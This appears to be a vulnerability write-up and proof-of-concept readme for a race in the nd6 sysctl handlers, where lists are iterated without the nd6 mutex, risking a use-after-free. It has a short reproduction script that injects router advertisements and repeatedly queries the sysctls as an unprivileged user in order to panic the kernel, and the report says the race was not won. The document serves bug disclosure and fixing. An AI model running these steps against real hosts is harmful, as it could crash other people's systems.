# DF-0355 PoC — nd6_sysctl_drlist/prlist lockless iteration

**Status:** INCONCLUSIVE — code-level bug confirmed; race not won in test.
**Severity:** Medium

## Bug
The sysctl handlers `nd6_sysctl_drlist` (sys/netinet6/nd6.c:2168) and
`nd6_sysctl_prlist` (line 2209) walk the global `nd_defrouter` TAILQ
and `nd_prefix` list **without** taking `nd6_mtx`. The ioctl path
`SIOCGDRLST_IN6` (line 1441) and `SIOCGPRLST_IN6` (line 1473) DOES
hold `nd6_mtx` over the same iteration. RA processing
(`defrtrlist_update` etc. in nd6_rtr.c) modifies these lists under
`nd6_mtx`. So the sysctl handler can dereference a freed entry → UAF.

## Reproduce
```sh
# Re-use the DF-0354 injector to populate state:
( cd ../DF-0354 && cc -O2 -o ra_inject_tap ra_inject_tap.c && ./ra_inject_tap /dev/tap0 60 ) &
# Hammer the sysctl as unprivileged user during RA processing:
for i in 1 2 3 4 5 6 7 8 9 10; do
  su -m maxx -c 'sysctl -b net.inet6.icmp6.nd6_drlist' > /tmp/dr.$i
  su -m maxx -c 'sysctl -b net.inet6.icmp6.nd6_prlist' > /tmp/pr.$i
done
```
On a multi-CPU system with heavier traffic, the race becomes
winnable → UAF panic. In our limited test, the guest stayed up.

## Files
- `fix.diff`     — wrap both sysctl iterations in mtx_lock/unlock(&nd6_mtx)
- `VERDICT.md`   — full narrative
- `env.txt`
